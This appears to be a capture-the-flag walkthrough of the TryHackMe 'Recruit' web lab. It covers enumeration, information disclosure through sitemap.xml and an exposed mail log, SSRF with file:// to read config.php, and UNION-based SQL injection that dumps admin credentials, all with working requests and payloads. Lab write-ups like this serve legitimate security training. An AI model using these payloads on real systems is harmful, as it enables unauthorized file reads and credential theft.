TryHackMe Recruit: Medium difficulty
A walkthrough covering SSRF, information disclosure, and SQL injection
Introduction
Recruit is a TryHackMe room centred around a fictional recruitment web portal. It's a great room for practising a realistic web-application attack chain starting from open-source recon all the way through to database extraction. No single technique here is exotic; the value is in chaining them together logically.
In this writeup I'll walk through the full methodology: enumeration, exploitation, and privilege escalation within the web app, covering:
- Service and directory enumeration
- Server-Side Request Forgery (SSRF) with the
file://protocol - Error-based and UNION-based SQL Injection
Platform: TryHackMe Room: Recruit Difficulty: Medium
Enumeration
Port Scanning
The first step is always a thorough port scan. I ran a service scan followed by a full port scan to make sure nothing was hiding on non-standard ports.
nmap -sC -sV MACHINE-IP
nmap -p- -T4 MACHINE-IPBoth scans revealed the same three open ports:
Port Service Version 22 SSH OpenSSH 8.2p1 53 DNS ISC BIND 9.16.1 80 HTTP Apache 2.4.41 + PHP
Port 53 (DNS) immediately stood out — it's unusual to see DNS exposed on a CTF box unless it's intentional. I attempted a zone transfer after identifying the domain name, but it failed. I noted it and moved on.
Directory Brute-Forcing
With HTTP on port 80 confirmed, I ran Gobuster to find hidden endpoints:
gobuster dir -u http://MACHINE_IP -w /usr/share/wordlists/dirb/common.txt -x php,txt,htmlKey findings:
Endpoint Notes /api.php API documentation page /file.php CV retrieval service /config.php 200 OK but 0 bytes — PHP executing, no output /dashboard.php Redirects to login — auth required /mail/ Directory listing enabled /phpmyadmin Database admin panel /sitemap.xml Leaked the domain name
sitemap.xml — Domain Leak
Visiting /sitemap.xml revealed the application's real domain name: recruit.thm. I added this to my hosts file:
echo "MACHINE-IP recruit.thm" >> /etc/hostsThe sitemap also contained a revealing HTML comment:
<!-- Notes:
- Some directories may contain internal documentation or logs.
- Certain endpoints are intended for internal HR integrations.
-->A hint to look carefully at those directories.
/mail/mail.log — Critical Information Disclosure
The /mail/ directory had listing enabled and contained a single file: mail.log. This turned out to be extremely valuable.
The log contained an internal email from the HR team to IT Support, sent during the portal's initial deployment. Key excerpts:
- HR login username:
hr - HR password was stored in
config.phptemporarily during rollout - Administrator credentials were confirmed to be stored in the database
This gave us a clear roadmap: read config.php to get the HR password, log in, then extract admin credentials from the database.
Exploitation
Vulnerability 1 — SSRF via file:// Protocol
The /api.php page documented the CV retrieval feature:
/file.php?cv=<URL>The API fetches a file from a supplied URL and returns its contents — intended for retrieving candidate CVs from external sources. The page also noted: "Requests targeting restricted locations may be blocked."
The classic SSRF test is to supply http://127.0.0.1/ to probe internal services. But since our target is a local PHP file that executes server-side (and therefore returns no output over HTTP), we need to use the file:// protocol to read the raw source directly from disk:
curl "http://recruit.thm/file.php?cv=file:///var/www/html/config.php"This bypassed any HTTP-based restrictions entirely and returned the raw PHP source of config.php:
$HR_PASSWORD = 'REDACTED';Credentials obtained: hr:REDACTED
This is why the 0-byte response from config.php over HTTP wasn't the end of the road — the file executes as PHP normally, but SSRF via file:// reads it as raw text before PHP gets involved.
Flag 1
Logging in at http://recruit.thm/index.php with hr:REDACTED granted access to the dashboard, which displayed the first flag along with a table of candidates.
Vulnerability 2 — UNION-Based SQL Injection
The dashboard included a search bar for filtering candidates. Testing for SQL injection with a single quote revealed an unhandled MySQL error:
http://recruit.thm/dashboard.php?search=1'%23
SQL Error: You have an error in your SQL syntax...Error-based SQLi confirmed. The application was passing user input directly into a MySQL query without sanitisation.
Note on comment syntax: Using -- without a trailing space caused encoding issues in the URL. Using -- - or URL-encoding # as %23 worked reliably.
Step 1 — Column Count
1' ORDER BY 4-- - → OK
1' ORDER BY 5-- - → ErrorFour columns confirmed — matching the four visible columns in the candidate table (ID, Name, Position, Status).
Step 2 — Table Enumeration
Using search=0' ensures the original query returns no rows, so the UNION output appears cleanly:
0' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database()-- -Two tables found: candidates and users.
Step 3 — Column Enumeration
0' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users'-- -Step 4 — Dump Credentials
0' UNION SELECT 1,username,password,4 FROM users-- -Credentials obtained: admin:REDACTED
Flag 2
Logging in as admin revealed the second and final flag on the dashboard.
Attack Chain Summary
Nmap → ports 22, 53, 80
↓
Gobuster + sitemap.xml → domain recruit.thm + key endpoints
↓
/mail/mail.log → hr username + creds stored in config.php
↓
SSRF via file.php?cv=file:// → raw config.php → hr:REDACTED
↓
Login as hr → Dashboard → Flag 1
↓
UNION SQLi on search → dump users table → admin:REDACTED
↓
Login as admin → Flag 2Key Takeaways
1. Always check sitemap.xml and robots.txt early. These files are often overlooked but can leak domain names, endpoint lists, and developer comments — as they did here.
2. Directory listing is an instant win. The exposed /mail/ directory provided the entire credential roadmap without any exploitation needed.
3. SSRF with file:// reads local files as raw text. When a PHP file returns 0 bytes over HTTP (because it only defines variables and outputs nothing), SSRF via file:// bypasses execution entirely and returns the raw source. Always try this when you find an SSRF primitive.
4. Use search=0' for clean UNION output. A zero value ensures the original query returns no rows, so your injected UNION result is the only output — much easier to read.
5. Comment terminator encoding matters. -- (with trailing space) is the correct MySQL inline comment. In URLs, use -- - or %23 (#) to avoid encoding issues swallowing your comment.
Tools Used
Tool Purpose nmap Port and service scanning gobuster Directory brute-forcing curl Manual HTTP requests and SSRF testing Browser Visual navigation and login
Thanks for reading! If you found this helpful, feel free to follow for more TryHackMe writeups.